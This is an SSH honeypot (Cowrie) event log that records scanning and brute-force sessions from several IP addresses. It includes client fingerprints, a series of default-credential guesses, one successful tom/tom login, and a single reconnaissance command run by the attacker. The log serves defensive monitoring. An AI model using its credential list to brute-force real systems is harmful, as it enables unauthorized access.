{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:39.263656Z","src_ip":"176.53.159.196","session":"22ddaa06b9d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55764,"dst_ip":"10.17.0.5","dst_port":22,"session":"73c49126b911","protocol":"ssh","message":"New connection: 165.154.137.186:55764 (10.17.0.5:22) [session: 73c49126b911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:42.646242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:42.649893Z","src_ip":"165.154.137.186","session":"73c49126b911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36942,"dst_ip":"10.17.0.5","dst_port":22,"session":"63f66933a631","protocol":"ssh","message":"New connection: 165.154.137.186:36942 (10.17.0.5:22) [session: 63f66933a631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:42.697354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:42.700856Z","src_ip":"165.154.137.186","session":"63f66933a631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:42.911555Z","src_ip":"165.154.137.186","session":"73c49126b911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:42.959693Z","src_ip":"165.154.137.186","session":"63f66933a631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:43.703250Z","src_ip":"165.154.137.186","session":"73c49126b911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:43.731854Z","src_ip":"165.154.137.186","session":"63f66933a631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:44.967460Z","src_ip":"165.154.137.186","session":"73c49126b911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:44.990567Z","src_ip":"165.154.137.186","session":"63f66933a631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36946,"dst_ip":"10.17.0.5","dst_port":22,"session":"e36805ced7c7","protocol":"ssh","message":"New connection: 165.154.137.186:36946 (10.17.0.5:22) [session: e36805ced7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:47.194863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:47.198361Z","src_ip":"165.154.137.186","session":"e36805ced7c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":42068,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dc774a4a298","protocol":"ssh","message":"New connection: 8.210.75.243:42068 (10.17.0.5:22) [session: 4dc774a4a298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:47.369141Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:47.447771Z","src_ip":"165.154.137.186","session":"e36805ced7c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":38726,"dst_ip":"10.17.0.5","dst_port":22,"session":"5629365a9dcf","protocol":"ssh","message":"New connection: 91.92.40.4:38726 (10.17.0.5:22) [session: 5629365a9dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:47.516262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:47.519413Z","src_ip":"91.92.40.4","session":"5629365a9dcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:47.599846Z","src_ip":"91.92.40.4","session":"5629365a9dcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwe123","message":"login attempt [test/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:47.847397Z","src_ip":"91.92.40.4","session":"5629365a9dcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:48.200810Z","src_ip":"165.154.137.186","session":"e36805ced7c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:48.931392Z","src_ip":"91.92.40.4","session":"5629365a9dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:49.452762Z","src_ip":"165.154.137.186","session":"e36805ced7c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42070,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba8d982af29c","protocol":"ssh","message":"New connection: 165.154.137.186:42070 (10.17.0.5:22) [session: ba8d982af29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:49.934824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:49.938077Z","src_ip":"165.154.137.186","session":"ba8d982af29c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:50.213786Z","src_ip":"165.154.137.186","session":"ba8d982af29c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:51.045615Z","src_ip":"165.154.137.186","session":"ba8d982af29c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:51.621960Z","src_ip":"165.154.137.186","session":"ba8d982af29c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:51.623976Z","src_ip":"165.154.137.186","session":"ba8d982af29c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:51.901285Z","src_ip":"165.154.137.186","session":"ba8d982af29c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:51.904750Z","src_ip":"165.154.137.186","session":"ba8d982af29c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":57354,"dst_ip":"10.17.0.5","dst_port":22,"session":"982136e9834d","protocol":"ssh","message":"New connection: 176.32.39.21:57354 (10.17.0.5:22) [session: 982136e9834d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:52.397128Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42082,"dst_ip":"10.17.0.5","dst_port":22,"session":"623cfa399ee6","protocol":"ssh","message":"New connection: 165.154.137.186:42082 (10.17.0.5:22) [session: 623cfa399ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:53.708345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:53.711531Z","src_ip":"165.154.137.186","session":"623cfa399ee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:53.978968Z","src_ip":"165.154.137.186","session":"623cfa399ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:54.784458Z","src_ip":"165.154.137.186","session":"623cfa399ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:56.057186Z","src_ip":"165.154.137.186","session":"623cfa399ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42092,"dst_ip":"10.17.0.5","dst_port":22,"session":"da5b8027838d","protocol":"ssh","message":"New connection: 165.154.137.186:42092 (10.17.0.5:22) [session: da5b8027838d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:57.237423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:57.241183Z","src_ip":"165.154.137.186","session":"da5b8027838d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:57.511703Z","src_ip":"165.154.137.186","session":"da5b8027838d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:58.324369Z","src_ip":"165.154.137.186","session":"da5b8027838d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:59.456837Z","src_ip":"8.210.75.243","session":"4dc774a4a298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:59.459836Z","src_ip":"8.210.75.243","session":"4dc774a4a298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:59.597667Z","src_ip":"165.154.137.186","session":"da5b8027838d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":51900,"dst_ip":"10.17.0.5","dst_port":22,"session":"45d342bbc590","protocol":"ssh","message":"New connection: 103.187.165.26:51900 (10.17.0.5:22) [session: 45d342bbc590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:58:01.540433Z"}
